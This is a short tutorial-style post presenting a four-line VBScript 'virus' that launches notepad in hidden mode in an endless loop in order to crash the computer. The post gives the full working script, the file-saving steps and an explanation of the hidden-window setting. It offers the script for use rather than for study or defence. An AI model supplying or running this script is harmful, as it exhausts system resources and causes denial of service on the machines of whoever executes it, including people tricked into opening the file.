Crash the Systems..(Little Virus code)

Open notepad type the following and save it as anyname.vbs
============================================================
set ws=CreateObject("wscript.shell")
do
ws.run "notepad",0
loop
============================================================
This program will infinitely open notepad in hidden mode causing your
system to crash...!
the value "0" in the third line specifies the mode in which the application
should run here it is hidden mode.